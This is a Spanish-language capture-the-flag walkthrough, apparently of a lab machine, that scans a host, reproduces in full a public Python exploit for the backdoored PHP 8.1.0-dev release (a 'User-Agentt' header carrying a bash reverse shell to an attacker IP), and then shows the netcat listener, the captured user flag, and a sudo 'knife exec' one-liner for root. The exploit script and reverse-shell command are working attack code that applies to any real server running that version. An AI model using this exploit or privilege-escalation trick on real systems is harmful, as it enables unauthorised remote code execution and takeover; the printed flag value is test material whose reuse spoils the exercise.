//
❯ nmap -p- --open -sS -T4 -n -Pn 10.10.10.242 -oN First_Scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-14 19:29 EDT
Stats: 0:00:39 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 93.95% done; ETC: 19:30 (0:00:03 remaining)
Nmap scan report for 10.10.10.242
Host is up (0.14s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Ahora hacemos un escaneo con Scripts y versiones en los puertos abiertos:
Revisamos que corre por el puerto 80:
Web corriendo por puerto 80.
PHP 8.1.0-dev.
Vemos que es un servidor apache que usa codigo PHP 8.1.0-dev.
Enumeramos subdominos con Gobuster pero no conseguimos nada:
Buscamos exploits para PHP 8.1.0-DEV Y conseguimos uno en particular, revisando el perfil de desarrollador, encontramos en su github un archivo python que permite obtener una revshell directamente asi que tambien lo descargamos:
Repositorio que encontramos que explota la vulnerabilidad en php 8.1.0-dev que nos otorga una reverseshell.
Movemos el exploit para ejectuarlo:
En lo que consiste el exploit:
Ejecutamos el Script y nos ponemos en escucha:
Obtuvimos la reverse Shell, estamos dentro, ahora conseguimos la primera flag:
Intentaremos escalar privilegios primero listando el id y los permisos como administrador:
Vemos que pudemos ejecutar el comando /usr/bin/knife , Este binario es vulnerable a la injeccion de una consola interactiva a traves de one liner "sudo knife exec -E 'exec "/bin/sh"', asi que lo ejecutaremos:
Hemos ganado acceso, ahora ubicaremos la ultima flag:
Conseguimos la ultima flag y damos por finalizada esta maquina.
//
Exploit Title: PHP 8.1.0-dev Backdoor Remote Code Execution
Date: 23 may 2021
Exploit Author: flast101
Vendor Homepage: https://www.php.net/
Software Link:
- https://hub.docker.com/r/phpdaily/php
- https://github.com/phpdaily/php
Version: 8.1.0-dev
Tested on: Ubuntu 20.04
CVE : N/A
References:
- https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
- https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md
"""
Blog: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
Download: https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/revshell_php_8.1.0-dev.py
Contact: flast101.sec@gmail.com
An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.
The following exploit uses the backdoor to provide a pseudo shell ont the host.
Usage:
python3 revshell_php_8.1.0-dev.py
"""
#!/usr/bin/env python3
import os, sys, argparse, requests
request = requests.Session()
def check_target(args):
response = request.get(args.url)
for header in response.headers.items():
if "PHP/8.1.0-dev" in header[1]:
return True
return False
def reverse_shell(args):
payload = 'bash -c "bash -i >& /dev/tcp/' + args.lhost + '/' + args.lport + ' 0>&1"'
injection = request.get(args.url, headers={"User-Agentt": "zerodiumsystem('" + payload + "');"}, allow_redirects = False)
def main():
parser = argparse.ArgumentParser(description="Get a reverse shell from PHP 8.1.0-dev backdoor. Set up a netcat listener in another shell: nc -nlvp ")
parser.add_argument("url", metavar='', help="Target URL")
parser.add_argument("lhost", metavar='', help="Attacker listening IP",)
parser.add_argument("lport", metavar='', help="Attacker listening port")
args = parser.parse_args()
if check_target(args):
reverse_shell(args)
else:
print("Host is not available or vulnerable, aborting...")
exit
if name == "main":
main()
//
❯ python3 revshell_php_8.1.0-dev.py http://10.10.10.242 10.10.14.51 443
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.51] from (UNKNOWN) [10.10.10.242] 42898
bash: cannot set terminal process group (989): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$
//
james@knife:/$ cd /home
james@knife:/home$ cd james
james@knife:~$ cat user.txt
bfdda457427a526151f71c62184a9321
//
james@knife:~$ id
uid=1000(james) gid=1000(james) groups=1000(james)
james@knife:~$ sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
